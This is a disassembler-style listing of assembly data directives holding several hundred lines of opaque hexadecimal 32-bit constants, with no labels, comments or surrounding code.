		dd 59A46FB3h, 0D1A517BBh, 140680Ah, 56ED6C7Dh, 0B97182BDh
		dd 0E4A8A400h, 0BC5C0532h, 0DA3D0Ch, 592C6A80h,	9312759Ah
		dd 0A04049C1h, 0D1407EECh, 0C83C0586h, 624692DEh, 0A601261Ch
		dd 8C4084E3h, 1051C52h,	0BEAB20D9h, 426134CDh, 43306684h
		dd 0F060119Ch, 0E629D71h, 5E9C4B98h, 0F0803140h, 0D1C0F550h
		dd 0A66FB6CBh, 79FF0020h, 0C9EDBF88h, 0DD491639h, 2FC4002Ch
		dd 38C86917h, 9FE6000Fh, 36CB035Eh, 8CA455A2h, 0C7F2F37Eh
		dd 0CD93C03h, 0B0C3127Ah, 0F2CCFF90h, 0DCB900DFh, 68457E61h
		dd 3B54EFB1h, 5A7775B8h, 13A48950h, 0F9FDE201h,	0DC15C6A8h
		dd 0C7B3819Ch, 0E05E412Ah, 455636F8h, 0F45D1C98h, 5A100320h
		dd 80DE542Ah, 39ADDC91h, 8A09D0AEh, 0F000029Eh,	0BE6B231Bh
		dd 8E087490h, 5DB57Bh, 0F2D74C5Fh, 0FE1F8681h, 51DF8432h
		dd 416C1140h, 128FBC3Ah, 55B4E3Dh, 8161E318h, 839E7B53h
		dd 70195341h, 0C3EFD02Ah, 61C60005h, 1AF1A164h,	0E0642BDh
		dd 987A82B2h, 36720031h, 5FFED1B7h, 5C00ABA4h, 98C3CE6Bh
		dd 597E3Dh, 689B3CFCh, 57310D61h, 8F399D62h, 0ACE4A089h
		dd 14F37A3h, 3A163208h,	204D8183h, 40CD041h, 7686F0B4h
		dd 683C1E84h, 0BBCB8CADh, 8A14AFF8h, 1E8803D9h,	70C73308h
		dd 821175CCh, 0C0516CC0h, 70574ACDh, 8FA2A863h,	3F426E0h
		dd 48AC00BEh, 5F1A0F36h, 7A017F8Ch, 0F0616933h,	0EBD8B739h
		dd 9F0A048Ah, 0D0211353h, 0B3C30404h, 94C60E01h, 306C9093h
		dd 0DB77E8h, 0A85B7A9Dh, 0D687451Bh, 0B8A26Ah, 6281C311h
		dd 0EB5E442Ah, 5BEC2DF4h, 0EFAE4C2Ah, 3B658300h, 8A3AD5BBh
		dd 0D882B432h, 9346831h, 0F1C748E2h, 73AD312h, 0E1B6F0B8h
		dd 263C61CFh, 1446F03Ch, 0E587022Ch, 75BA5829h,	31991863h
		dd 3AC6251h, 569D8009h,	4420B730h, 13B353A1h, 20F67482h
		dd 9ED7BBC4h, 3BA72084h, 0CE86E20Ah, 95038C98h,	26331304h
		dd 115C96B8h, 0ED6E8062h, 431FB3A0h, 1D1822A5h,	5FED667Bh
		dd 491180DFh, 7CA8AAC2h, 0B4233F07h, 0A2C63153h, 5A8F24B1h
		dd 0A9E78038h, 0B59E8D64h, 180F6A90h, 0AE40118Eh, 572AA0D4h
		dd 19365FE9h, 482F6B7Bh, 7C80DA41h, 0A69876DDh,	2C7E6302h
		dd 68E258EDh, 303FCD4Ch, 4629B67Bh, 130E05AEh, 6FCA4225h
		dd 0F557E0D4h, 7B41B235h, 28C090D8h, 7EAD5FC9h,	4DC700D3h
		dd 0A3A8B161h, 10036B26h, 6E60697Dh, 0F0082A2Bh, 0C1F50C34h
		dd 9F481FACh, 166B4605h, 4C98495Dh, 68FD049Eh, 325A3C2Fh
		dd 0C64420B4h, 400089FCh, 0F159103Fh, 4826A7BEh, 29F85851h
		dd 1C7AA943h, 4024B372h, 87900312h, 50D99AAEh, 0D820B9F8h
		dd 913B41BDh, 9C8047B0h, 0CC2F62FDh, 9E225943h,	0FCC46E00h
		dd 0CEBEE771h, 15780456h, 85395C47h, 0BBC8478h,	6402BE34h
		dd 6E216B9Ch, 702521B7h, 0F0179C60h, 30B061CAh,	0D2EAB210h
		dd 679C3848h, 2F51DD25h, 0B245FD0Ch, 1C8812EFh,	97C1727h
		dd 10FC54h, 0C1ABC6FBh,	76DE4DA5h, 36AF30C9h, 6E53C5B9h
		dd 0E2512203h, 847B3Dh,	9428EFC9h, 0A133A9B3h, 9F775AECh
		dd 4E0B6C92h, 136E8F61h, 7FDD90E8h, 0E7800E9h, 0F37BFE77h
		dd 0EB034918h, 13A8B283h, 519900D2h, 174F0AF1h,	0FD006DD6h
		dd 14A470E2h, 1A56726h,	0E48F5646h, 4A15E119h, 1C423F4h
		dd 5E3F2A5Fh, 882B180Dh, 2A50744Ah, 4770C784h, 81047858h
		dd 0BCEEC21Bh, 0E41DF8h, 0C1602E6Bh, 0B74C4137h, 0D900637Fh
		dd 0EC65D2F6h, 1F78FB6h, 0AFF33C64h, 30DB5304h,	8B009C14h
		dd 0CB9B1AF6h, 7524D9h,	1254C088h, 0FED31B0Fh, 428D269h
		dd 6B605714h, 0B323A1EDh, 3071117h, 0FDED637Eh,	0ACAB52h
		dd 439B2EB1h, 72188938h, 55BA8B00h, 0EA62D2C0h,	0AA66289Eh
		dd 0ACD31E90h, 8C6975D4h, 3FF8CA20h, 365B8400h,	5A6A6EFCh
		dd 53B0F79h, 8A229FB5h,	404370C4h, 757EF0E0h, 0FB095092h
		dd 544EFEh, 0C7BB5BF9h,	0B9A20BA4h, 80843E06h, 9C416060h
		dd 61F02362h, 96018911h, 4F1C9C49h, 1AA18034h, 130F8EBAh
		dd 8D4800E1h, 66AB366h,	0BD01DC04h, 983AE0D3h, 0C0230795h
		dd 1F30A0B2h, 0C792028Dh, 616646E2h, 0B957E0A2h, 0D813C8C0h
		dd 0DB8090A9h, 0CDF007ABh, 8202DD21h, 6A64E97Dh, 5DBD87D5h
		dd 2B607CD0h, 0C47CA5ABh, 0A0DD605Fh, 0F6DE03B6h, 0B17BEB99h
		dd 4C0DA900h, 311CBCA9h, 74A57ACFh, 1CD5487Ch, 276C4300h
		dd 993A322h, 0C8586A09h, 0F82088D9h, 0D1504826h, 5ED32367h
		dd 9CED6200h, 86A4FFB3h, 770944h, 0ADF5EE1Ah, 0EAD8064Ch
		dd 0B7260204h, 0C87E6Fh, 817B0985h, 3498BF09h, 840043BDh
		dd 13889C12h, 906C4DDDh, 0A66B1C5Bh, 684505F3h,	30C84435h
		dd 8114C758h, 7006312Eh, 6B01A67Ch, 0F642C9E9h,	8422A566h
		dd 91553113h, 50547ABCh, 5C6076A0h, 0EECBD724h,	0B3CDA809h
		dd 0C3F500h, 0CEF45Eh, 2A591300h, 9EF8201Ch, 0AA7B5C11h
		dd 63830A00h, 0A6880110h, 19C099F8h, 18E7D851h,	0F4780033h
		dd 0AA6DAB64h, 4200C786h, 38086945h, 14816843h,	0D4E5B724h
		dd 50522B09h, 0D3374460h, 0FCA49FB0h, 69025D46h, 27B393EDh
		dd 700010E7h, 0D985ED61h, 9C4E0E95h, 0F0421209h, 806802A6h
		dd 0E82EB7BEh, 38000A0Ch, 7B35E3E1h, 0B371C297h, 3050828Ah
		dd 0A070902Ah, 4A0C8100h, 0D93A0E3Ch, 57D80265h, 9552BC5Ch
		dd 315D6840h, 59928A13h, 334D1892h, 3034FDE8h, 915A9C21h
		dd 9A68039Bh, 0C8C931FDh, 4508DDh, 63CABECBh, 248518D8h
		dd 0C7601658h, 96F1361Eh, 71D4B8B9h, 49976A7Eh,	0EB060085h
		dd 4ADAA232h, 6125A100h, 97452B4h, 0F02200EAh, 1DA3D7BAh
		dd 3D3B3263h, 0C4E9ABDDh, 802F6812h, 0F0078C77h, 0CEB9DA19h
		dd 0B803B5B0h, 258B895h
		dd 2B647C45h, 0B889084Fh, 410B0483h, 30D8C812h,	8CC15024h
		dd 0F46140BBh, 2BF16072h, 0BBE0CA9h, 0A1FA1926h, 4E0F7C00h
		dd 0F4903CF8h, 61D5F416h, 2F237C3Bh, 0A7AA803Dh, 0B26C7A84h
		dd 0F9DF3B0Bh, 805455B8h, 6D7D00ECh, 34E8B61Eh,	21008BDAh
		dd 0C5C153C8h, 1D7B70Eh, 0E526ADBFh, 0D5DB106Eh, 9BC7E4B8h
		dd 0FA71890Bh, 9C204044h, 0ABD828E8h, 175946C0h, 1804ED6Dh
		dd 0E4E2A507h, 0EE257C80h, 82101597h, 90138EE0h, 0D6A8C855h
		dd 0B2A09AE8h, 0AB25CD60h, 3524A2C5h, 7A4BC04Eh, 0BD31C085h
		dd 0E0FCB18Bh, 902FE600h, 96E1A5B9h, 0A62901BBh, 5F7FAE72h
		dd 404C294Ah, 0A0440DCh, 3C85BEA5h, 345EECC0h, 0A82C4CEFh
		dd 2E87147Bh, 0F33EF8B4h, 0C6B79089h, 0A6E1040h, 0AABFD804h
		dd 0BC8138B8h, 7B0102B6h, 48C5105Bh, 0FBE900C4h, 495011DAh
		dd 5C1CED91h, 0CC0058C7h, 35F5630Ch, 8AF91A48h,	0FCCA41AEh
		dd 31EBE460h, 8357A18Bh, 7C9A1982h, 784AD937h, 3B78944Ch
		dd 58F47000h, 0F0566396h, 0C6F2018Eh, 771287C0h, 5D829C8h
		dd 38626B58h, 27C6E890h, 0E20C065Bh, 0E0A54AAEh, 40C0A307h
		dd 0CDA06510h, 7618694Bh, 0AC622EE9h, 6AB582C4h, 44C82EAFh
		dd 202C0452h, 254290A8h, 9C401891h, 69F05B16h, 9310108Bh
		dd 22402C4Ch, 3F40D024h, 56E3D2h, 0A360435Fh, 65D77B09h
		dd 9C01177Dh, 4E388667h, 2F008F3h, 70921683h, 0F4E82016h
		dd 3902F2AEh, 20EA943Ah, 8004E3F0h, 0D52E0C4h, 6C90F658h
		dd 0F7820081h, 8D00243Bh, 17705914h, 734E6BFEh,	38661E4Dh
		dd 17EBD28Eh, 0DC5D08h,	0BC3506D7h, 0D4A4505Dh,	0A95FCE00h
		dd 7073D95Bh, 31D00ABh,	4FBF2E83h, 0A627EC48h, 0BE740171h
		dd 60FE872Fh, 0C9BCD2Ch, 0B2CC7088h, 9E13F08Ch,	3444AEBAh
		dd 27406A2Eh, 6E5D63BCh, 0E9D5AF31h, 306D03D8h,	9020B451h
		dd 5AE10B45h, 9C916B9Bh, 7EA5184Eh, 942F10FDh, 80A6C85Ah
		dd 0EBFCCD67h, 6600440Ch, 0A117A0B8h, 0B9506309h, 0A1D00DCh
		dd 0AB3EDE6Fh, 26C5E800h, 43334A61h, 47360131h,	0D4B290F5h
		dd 0C31A451h, 184674h, 33DBA92Dh, 39AF813h, 7EE426B2h
		dd 0A81657F2h, 8017BD7Fh, 9B230C2Fh, 65491900h,	0C52A0Fh
		dd 0B44B09Ch, 0D364CDE2h, 0A8C6259h, 0B4E7133Dh, 204E1E8Fh
		dd 0AEBED647h, 56F91EDDh, 0CD8080A9h, 32D0398Ch, 0C64D72Ch
		dd 76E2C43Eh, 0E44A5086h, 962B01F6h, 0B4BFBE5Eh, 0CFFC41F5h
		dd 0A1EC3339h, 780CA7E7h, 0C37F5498h, 4D130D80h, 0C00FC23h
		dd 7917BD6h, 4C003A49h,	8F894F99h, 2E93BC0Ah, 630C63BDh
		dd 4CA8D7DCh, 0B073BAF7h, 0A3411004h, 20812236h, 546802A5h
		dd 0C9389081h, 38F42174h, 621309E8h, 0EA4005FEh, 0E8FCEC54h
		dd 0A6008C60h, 47408BE8h, 32827520h, 7B60571Ch,	0F00014F2h
		dd 4A32B65Dh, 26470B83h, 0A694EF50h, 0E200DEF8h, 1455758Fh
		dd 257C2158h, 0B490E42Fh, 1200C347h, 82252939h,	0D72DCBh
		dd 7E54EDC5h, 0E71F380Ch, 0C8DB122Ah, 0D92A7C14h, 987100A9h
		dd 0FCFB5345h, 328CA03Ah, 7D558137h, 0BB2F00B0h, 0B6CFF9Ah
		dd 312300C1h, 9E93DA88h, 0C749A8F8h, 2A668004h,	8C755E58h
		dd 11F42E54h, 41001490h, 6B7CDB38h, 1244FF3h, 53B426CFh
		dd 444915AFh, 0C8F810C8h, 619C42C0h, 448C79F0h,	4E589D52h
		dd 0EF721FE5h, 83BB0E42h, 0C8E4E07Fh, 48035C37h, 5EC0D038h
		dd 32CD42Fh, 29F15098h,	8C13E1h, 0A5F9890Dh, 310F7521h
		dd 0AC336791h, 949D3059h, 0FF465E8Ch, 2F9E3300h, 67FE55ACh
		dd 0EC875B1Fh, 6F7C3D02h, 4188C0DAh, 542F0163h,	1ABCD85Ah
		dd 0C4147568h, 0F0A8AB7Eh, 0BEC0E2E1h, 0A043DE0Fh, 471E1EF8h
		dd 503393FAh, 6C239CA0h, 669C4501h, 651841F0h, 6F4DAA88h
		dd 50A5589Ch, 891485D2h, 0EB27D8DCh, 0F8FE48h, 158EC5E2h
		dd 5F6EB734h, 23A42F60h, 0A66E0086h, 0EB2F5A46h, 0F8D0DA30h
		dd 2AB1E9F5h, 2598F4D9h, 0E0800F13h, 60B3364h, 25DD80C4h
		dd 132410F0h, 3ABE82C8h, 40523CCh, 83DF5230h, 0C6D02617h
		dd 48B1B26Eh, 1B2B6403h, 0CAF10BFFh, 6869567Eh,	0D9051088h
		dd 2B6D00B9h, 0CC92EEA6h, 9400F037h, 68C45C58h,	380310Eh
		dd 0D876A0F2h, 39026228h, 0B1E0753Dh, 9B5881DDh, 68D22ED7h
		dd 20B06ED8h, 1496A86Ch, 620465Eh, 9892B9Fh, 0D9D70A80h
		dd 1BAC6F25h, 5FE27155h, 7092444h, 40797EF0h, 241C5E08h
		dd 70373Bh, 4D0BBE38h, 7450B76Eh, 18B8E1B4h, 0F8994B09h
		dd 7EA881A6h, 0CECC7194h, 317B2F2Eh, 0E8A24809h, 0DD003B39h
		dd 0BC594BCBh, 66280FECh, 2E6C0152h, 35B28A3Dh,	0F08036D0h
		dd 0B0D82E03h, 0A0AD0B24h, 889855C6h, 6001E7Eh,	400D64EFh
		dd 2C953F11h, 7851B9h, 0DE19C663h, 9F4802FDh, 8C61FC98h
		dd 0F4016CF6h, 0F501709Dh, 0F040B3D6h, 0B0601052h, 0B4280000h
		dd 5916F626h, 1B14679Eh, 5B03E4Bh, 9F0E87FAh, 0E218AC90h
		dd 7C6374ECh, 0D0B25D6Fh, 5934C809h, 0C48F0C29h, 64025288h
		dd 0A03350E0h, 0BE721CE8h, 23D705C3h, 0E3D6C29Fh, 30B3A24Ch
		dd 1209B67Fh, 59615731h, 824C11BCh, 0C16DFD9Bh,	70785937h
		dd 0FCC369A0h, 9AA12501h, 57667EB0h, 0E39E244Eh, 5FC80D00h
		dd 99C7AF9h, 9010934Dh,	757C1468h, 9A735904h, 14B95C31h
		dd 205CE93Dh, 3008C70Ah, 0CBA516B4h, 0C003C85Ch, 0D30DFB0Bh
		dd 0C8FEF3Fh, 503BBB2Ch, 492F6055h, 97B74F2Eh, 0EB22E50Bh
		dd 0CCEB80C0h, 4A69E96Ah, 23649158h, 532680EFh,	0E8C02D68h
		dd 0E84150F1h, 0C16307C8h, 0FCE5B065h, 2BE9AD31h, 5A04685Dh
		dd 7D01F497h, 20390504h, 0DE4D13B0h, 0FEBA0F08h, 0A5E9803Fh
		dd 42BBE6Ch, 8ABFD80Bh,	8ED4C516h, 0A92984CCh, 500FB930h
		dd 25A30E1Fh, 525CC642h, 6860D828h, 0BE941A66h,	0B5DB5B80h
		dd 6F327F1Eh, 9ACF8800h, 2BE382A6h, 0F9462EA3h,	0E7215E08h
		dd 599482A7h, 587818BCh, 28C56226h, 28F29B12h, 0C1911A10h
		dd 0F05C9C3Fh, 260BB6E9h, 0DE032694h, 0EABEEE7Ah, 0F00C482Ch
		dd 999E2486h, 0AA7E09A8h, 22154061h, 309BF29Ch,	0DD006945h
		dd 0EE66E486h, 918F6B4Dh, 0AC710054h, 4E8B70E3h, 0F4C43A2Ah
		dd 0E5247D14h, 0F83A4EE8h, 0E001823h, 0FCA644ABh, 3695028Ch
		dd 815AE14Dh, 0E283CC56h, 34756AEh, 2027F5E0h, 0A0E45B78h
		dd 0A0212E78h, 0C5253Eh, 78606564h, 0C71D79Ah, 0F6F5E213h
		dd 0B323E03Ah, 2231B504h, 10401CF3h, 865CC2h, 2B16A822h
		dd 4C405233h, 0F7938B9Ch, 9D952ABBh, 443505DCh,	85803213h
		dd 0F2A4F254h, 1301302Eh, 23346901h, 4863292Ch,	0A740222Bh
		dd 0C757D8C8h, 7FAA3060h, 0C66F9BCh, 44644EA5h,	0C139F550h
		dd 0A9599288h, 74669888h, 4D2A0042h, 9C8819A8h,	0A52CC689h
		dd 6B44E458h, 9FF270E2h, 1880B530h, 400FD2A1h, 0A4265215h
		dd 24881886h, 40D244F5h, 0F05A9DBCh, 0FEDC008Bh, 90D04D4Bh
		dd 500B14FBh, 8AD6DF04h, 571D24C4h, 6F7B4831h, 0EB000439h
		dd 419994Fh, 5C017AD1h,	0F5E0AD22h, 71E9590Dh, 9E085462h
		dd 630E38BAh, 0B057F65Eh, 8C75E42Fh, 5354BF02h,	0F28CB4A2h
		dd 0D90C604Ch, 0EF599D88h, 855E1300h, 0B0894BF9h, 5E073E6h
		dd 0E3B6EC5Dh, 0C83CB4D6h, 2A63048Ch, 0BC6D5E43h, 5816B004h
		dd 0F8AC002Ah, 73E3F7D1h, 0D0A1C1D6h, 421610ABh, 0D47500E2h
		dd 0C71D53EFh, 6324AF91h, 8B039FFAh, 2544F2EEh,	9C4D5499h
		dd 0E03F7D62h, 905C2B00h
		dd 0D17C917Ch, 711886h,	86FA83Ch, 37D29F70h, 0A8A020BAh
		dd 3B80E703h, 56B025A2h, 0BB1870E0h, 9EE1C605h,	0ECC142D0h
		dd 1DEDBE7h, 0F5EAAFFAh, 0EC3C32h, 4E5A13D3h, 9D18356Ch
		dd 0D61F34B0h, 401C8C8Ch, 989DC088h, 8CC9EA68h,	0B3D4D813h
		dd 0CF749008h, 2C05ED29h, 6A0624Fh, 0ED607921h,	462FD8h
		dd 64E6F062h, 269F8AE8h, 0B8804E6Ah, 1110172Fh,	6778809Fh
		dd 2AB2588Bh, 0B46393h,	0E4AE56A3h, 732E17C0h, 96FF7A04h
		dd 0ACBC5DB1h, 48C0CBCh, 2F61697Fh, 1CD38423h, 0D48245BCh
		dd 22D0275Ch, 7040DE80h, 2184D1B9h, 8EBD169Ah, 0F65E452Ah
		dd 0FA1CB438h, 5320002Ah, 8AB38B78h, 0F8926A14h, 61B1E46Eh
		dd 11E15E9Ch, 0A333043Ch, 0C8C1CFF1h, 210BC5D4h, 2C352B20h
		dd 4172ECF4h, 1882E8B5h, 0FDF1118h, 9047D778h, 0AEF90264h
		dd 0A7DD95C6h, 7483E062h, 50150A4Bh, 4A982050h,	4D5E898h
		dd 10EF03C0h, 92A8ACE1h, 41A10804h, 0EE3171Fh, 9F0902CEh
		dd 143154D8h, 0CF58285Bh, 0C3838640h, 9F5A18E0h, 2A1318ADh
		dd 1373FB3Eh, 8CF72342h, 0CC1007C0h, 64031396h,	0BFE49E9h
		dd 0E040E334h, 1FFD8ECBh, 923952h, 174AABA8h, 3E00B16Dh
		dd 6EAE151Dh, 0C9132Ah,	38644095h, 0E207D29Ah, 0BEDCFD04h
		dd 0F4852F6Ch, 0B17A9404h, 0BD6FFE40h, 0D0A8CC82h, 218E9A8h
		dd 8B385D60h, 1C34BEC0h, 2CB6891Ah, 1BA29CE0h, 409022Ch
		dd 6B45823Eh, 4BCF7B2Dh, 9AC80A28h, 7B204CCDh, 9D327DAAh
		dd 80A51198h, 4E3CA265h, 98932795h, 2919897h, 32B79181h
		dd 1EE0C441h, 0AC275102h, 0B51836AEh, 0DCB48028h, 0E99D79AAh
		dd 76985612h, 9F903470h, 609C49C2h, 58F4BB0Ah, 0B5D500CCh
		dd 0B8B7FAF9h, 63FC201Ch, 405556CFh, 3CE2E1C4h,	86882531h
		dd 1FECF4E6h, 0DA491776h, 0E8D8D494h, 0A9432Fh,	286B0612h
		dd 24B2F6A3h, 84B85F51h, 0E55269Eh, 0C8CB73F9h,	67CF65C8h
		dd 0DC53E0ECh, 50F290D1h, 679B1FEBh, 0B73940D9h, 46C9775Fh
		dd 817C904Ch, 1BDE53F8h, 17C617F8h, 313C1D0Fh, 806B8B98h
		dd 0EBA2C508h, 4CD772Eh, 0C758614Dh, 0E8F912h, 794324AAh
		dd 9A1D57h, 0CCDC6E99h,	0CAD1CD8Dh, 0ABC9A91Eh,	24132B97h
		dd 0B09FC8A4h, 7E42000Ch, 3C439692h, 1A976B58h,	30AC64D4h
		dd 0D1692C13h, 16018FE7h, 38CA5084h, 31D0E8B2h,	8CC39F4h
		dd 728B8804h, 0F198B246h, 290CA7E5h, 0BC9DEE28h, 0BEB41895h
		dd 2733F0CEh, 10E8547Fh, 0E083C252h, 12E5E2F6h,	216BEC0Ah
		dd 30888AC0h, 9374BD64h, 0C15A30C4h, 80E80C01h,	4C007B12h
		dd 0E20939EDh, 0B27E2AFBh, 28C401B8h, 1EC8266Dh, 470B20E9h
		dd 6B91BB04h, 0D0A04673h, 0A0028C4Bh, 0AC2F6EFDh, 503C745Ah
		dd 0FC00C872h, 0BA34CFB3h, 69ED009h, 40C70C5Ch,	134BD05Ah
		dd 131C8888h, 0B439F5B2h, 0C32989E8h, 5680C098h, 33B4AE8Fh
		dd 2EE23FF3h, 0D028D580h, 769F6684h, 73F1EB07h,	45509096h
		dd 0FF064AEh, 1CB729D8h, 31BFAD80h, 5094F323h, 0A8827502h
		dd 18745270h, 1897B80Bh, 8D582052h, 0B0A2A40Ch,	8E300AF2h
		dd 0F351099Ch, 0B40E3337h, 34DC758Bh, 0BCA0EA13h, 6A527D2Bh
		dd 608C7088h, 34AEA66Bh, 22B123Fh, 7EED281Eh, 0CCE32FB0h
		dd 9FE0FE3Dh, 9C2CC72Ch, 7C09549Bh, 0D9745188h,	0D5189Bh
		dd 0E8375CAFh, 7AA3CC35h, 3F983051h, 0F01CA013h, 0A401C13Bh
		dd 0C0A4BF13h, 3D59C07Ch, 300CC975h, 20B56703h,	0CFFA389Bh
		dd 36452900h, 0A3D7BBBAh, 14318E01h, 0D6B26E6Bh, 4D7A8424h
		dd 53967C80h, 423CE7DCh, 30B3A26Ch, 6D547AEAh, 7B7644ACh
		dd 14484B00h, 6EF5D4BAh, 5D8FE52h, 0FE4C54EAh, 0C3D40B59h
		dd 74607CCDh, 0E49B086Ch, 0BB4C6Eh, 4166C899h, 88B48A0h
		dd 9ED7211Fh, 0FB222840h, 0D91009BFh, 0E89188h,	0DB13F49Eh
		dd 0DC004DDEh, 6D49F106h, 5A540227h, 5E89FC9h, 3D40A476h
		dd 4872AFDh, 0E4513891h, 31708C7Ch, 2C97644Bh, 0C2E38BFFh
		dd 6BB4309Ch, 272A39A1h, 2F4A40CCh, 0A92B107Ch,	2DAC65C1h
		dd 0F05430E3h, 85A16E12h, 501A7C0Bh, 821512F0h,	0EA584184h
		dd 83DEF6D4h, 0BFC47988h, 94A0AD40h, 0E29B8B3Ah, 0DA312689h
		dd 7865054h, 0F021B66Eh, 987C0088h, 0CD0BC73Ah,	58A0E715h
		dd 0FB0044A5h, 0EB2A68F8h, 7A3B64Bh, 0ABA7453Ch, 0F76F3014h
		dd 0A19F7B39h, 0C6F9B988h, 8651FCh, 0C735086Dh,	0F08E22BBh
		dd 5E6ACD00h, 61E67533h, 0FC24E99Eh, 80F8BE16h,	0D6BFA3ADh
		dd 60037328h, 9F79641Bh, 50FC5475h, 0F4917Ah, 506BEA3Dh
		dd 0F002D872h, 68016A74h, 0D63C7616h, 0BD68100h, 0FB78D48Fh
		dd 639C04EAh, 0D9B2CA80h, 302F6F70h, 5F000623h,	0FDDA4A2Fh
		dd 9479529Ah, 30FEB300h, 1ACA071h, 0CE1EAF00h, 8D111A0Ah
		dd 0C5E626EEh, 45A3D78h, 4CA624h, 77559256h, 68015DDCh
		dd 24BFBE81h, 0E2FC4128h, 0ABB3C5A6h, 0F7D8C830h, 43B90226h
		dd 1286EF1Dh, 5E0BDC58h, 0B09C304h, 0E4D865B0h,	3186052h
		dd 6C0B0090h, 30DCE09Bh, 5A12B3BEh, 682CF45Bh, 0C8EB4F59h
		dd 23147818h, 22F0D8DDh, 0DB820097h, 1BB663AAh,	95071EECh
		dd 5FE126BAh, 0DB090A0h, 0C81255D2h, 2457860h, 5FA3B30Ah
		dd 1CD241BEh, 0E2945917h, 0D1802009h, 4F5428ECh, 0C8D4CB60h
		dd 37E7C086h, 360B3B5Fh, 22BD077Bh, 4E82CB90h, 0FCB5B528h
		dd 0D013213h, 2D81630Dh, 522B6093h, 23F86E0Ch, 47C6014Ah
		dd 7B4DCCE1h, 82C1AC02h, 79E0F149h, 17581809h, 5D27765h
		dd 889DFAA4h, 0DC9B2E4Ch, 80CB4516h, 0D7C05FC8h, 12199056h
		dd 4AC63C1h, 0DC3B9BC5h, 0F123F7Ch, 28E203F7h, 6523E700h
		dd 73F3F5A8h, 0A628F04h, 489C7E2h, 43D861D2h, 8A970C6Dh
		dd 0C199C89Ch, 70277177h, 4E4E6DC4h, 0DC9B9830h, 97B62982h
		dd 10956BD8h, 4C809F91h, 460A7845h, 0A097905Bh,	0D0269560h
		dd 501500C3h, 0EFAFA143h, 0DA09884Ch, 1D497D09h, 80FF113Ch
		dd 0C7E08E9Dh, 0D3BE0134h, 53DCA82Dh, 0D0C0E287h, 0E0D065A4h
		dd 8CB3E898h, 452B0D0Bh, 0C098EDCEh, 70548591h,	47EACE0Bh
		dd 0F8FC6B50h, 1F193E68h, 71B43B2Eh, 737144A8h,	30A0E2F4h
		dd 2E24AD0Eh, 0AE1CE8F5h, 0A8237BD6h, 1A52D0A3h, 0EA791FFAh
		dd 0B7E80B2h, 41C036A7h, 4820F35Fh, 0F6E84B0h, 82B36FE3h
		dd 139085ECh, 0EBB23302h, 0EB3B0335h, 1580242Ch, 9E465E0Ch
		dd 0B2144413h, 9D2900B4h, 85CE35B9h, 0E3DB00A6h, 0CFBF0C3Dh
		dd 634E8170h, 208AC082h, 0A372AFA8h, 0F084C09Ch, 38B6E70Dh
		dd 0CB171817h, 0C0998838h, 0E61118FBh, 761253E8h, 5C304585h
		dd 5AED24Ah, 11405F18h,	2B9B807Eh, 8E17F678h, 0D80028A8h
		dd 33B5C458h, 2E207389h, 0C1D0EABDh, 397996BEh,	449AD7F4h
		dd 0C7B5AD81h, 0B784FC51h, 1C824A4Bh, 1C805E37h, 89B8B6Eh
		dd 0B0E5F08Bh, 18A929E2h, 1E00AEB4h, 1F6E8002h,	0C00EAF57h
		dd 0E95C3C6Ch, 5A253DF5h, 1B7800A7h, 82D2CED3h,	465EB45Ch
		dd 4404C0Ch, 0C7033084h, 183948B2h, 7630D344h, 0D84B60DFh
		dd 0AC469535h, 0E260C301h, 84A0B57Eh, 2FE8E478h, 5100A943h
		dd 1F4404E5h, 0B21EF0EAh, 0C627DB9Ah, 0ABF62070h, 0B1C3Ch
		dd 3DA564E4h, 5EBC5EE6h, 759440F0h, 32DC37F4h, 78A8B059h
		dd 0BDB41797h, 7A6400C6h, 7FEB2DC0h, 129F1262h,	23C0F451h
		dd 0F8CE70D6h, 0DFC05F88h, 2F46B1h, 0F5FA21BAh,	0D9132E35h
		dd 0F7A898A8h, 0E7100100h
		dd 4321278Eh, 0CCB2BDE5h, 4A11AC9Dh, 0B101268Fh, 20B28DDCh
		dd 11009D50h, 0DE7B2A3Ah, 2D927D73h, 0D4406FADh, 0C502131Fh
		dd 0D29EF064h, 0D4C8019Fh, 4133F88h, 0B9E0F8A6h, 4400FAF4h
		dd 0E11A1821h, 8D28C1h,	0C2D84CDBh, 5C482D10h, 8099525Eh
		dd 89AC943Ch, 0EF0C128Ch, 8B6C85ECh, 0C683C8CCh, 64BB78E9h
		dd 655124A1h, 701C3118h, 9956E7C1h, 14E04CA6h, 940016D8h
		dd 3633CCE6h, 5F5A7558h, 27345EE7h, 0FC070CDh, 3D9DABAh
		dd 401CB992h, 0F0128DC8h, 0DC8EFFB7h, 16C060C8h, 37A422Bh
		dd 5A74CEA5h, 0A81A8F87h, 5929C17Bh, 20F4A028h,	0F0A0A181h
		dd 0DE8054F2h, 80E8B6C6h, 6F88A2CDh, 7954E49h, 35E09AD4h
		dd 2C3AB3B2h, 8F8C5718h, 0E1B687BEh, 0C82F3A10h, 0C1A7E510h
		dd 6EC1BB46h, 84307CCEh, 0A034D45Eh, 0AF056418h, 67EC0A2h
		dd 4AC860CEh, 743716C0h, 0D7600B7h, 1E86EADDh, 632DE2E9h
		dd 1BE4C88Fh, 1DB300D9h, 672808DDh, 0C30EF3E6h,	67C261B2h
		dd 0AC244AD5h, 6C49D4EDh, 900535BCh, 5BCC759Bh,	0B3229C04h
		dd 0E1F08D07h, 6333B97Bh, 0B8EC5D28h, 6CC81730h, 89086714h
		dd 0A0E4BCC5h, 294E1860h, 7DCB3818h, 0C1F546h, 0D767928Dh
		dd 0DB4574D1h, 504AEE25h, 585EA4h, 6301E6F8h, 979554F4h
		dd 8703114Ch, 16D10E46h, 7860A9D5h, 0D97E8853h,	0A3AC040Bh
		dd 2518FBE1h, 9B597C79h, 69EC9218h, 84C6CF3Bh, 0AD0B2002h
		dd 529430AFh, 31805474h, 22570003h, 823D53B4h, 0A0B68CF8h
		dd 11D4175Ah, 0EB1D8018h, 1D08399Ch, 0D630CBC0h, 0AC9C8552h
		dd 8C9FEC78h, 0E16F4A03h, 691AD2ECh, 6467B814h,	5B620344h
		dd 8753B380h, 2C2E5E3Bh, 0E289B0E3h, 0C0905CCDh, 12438B8h
		dd 7020365Fh, 0F2608317h, 1EB305C7h, 0ACCDA1CBh, 0A32280A8h
		dd 128C94FFh, 0D2C6B840h, 9057F3F0h, 3E919DC0h,	0A200D5D9h
		dd 41B4EC4h, 853E3B47h,	54D8021h, 337FF3CDh, 0A867009Bh
		dd 6395753Dh, 7F0DF80h,	0E20188B1h, 7CB56BF3h, 0ACC470EEh
		dd 5A7B3020h, 0F0F52771h, 898B8601h, 43DA2C69h,	0E370D8h
		dd 8393A6F1h, 0F0B2B4F6h, 0AC70219Fh, 4272CA0h,	80C4DA4Ah
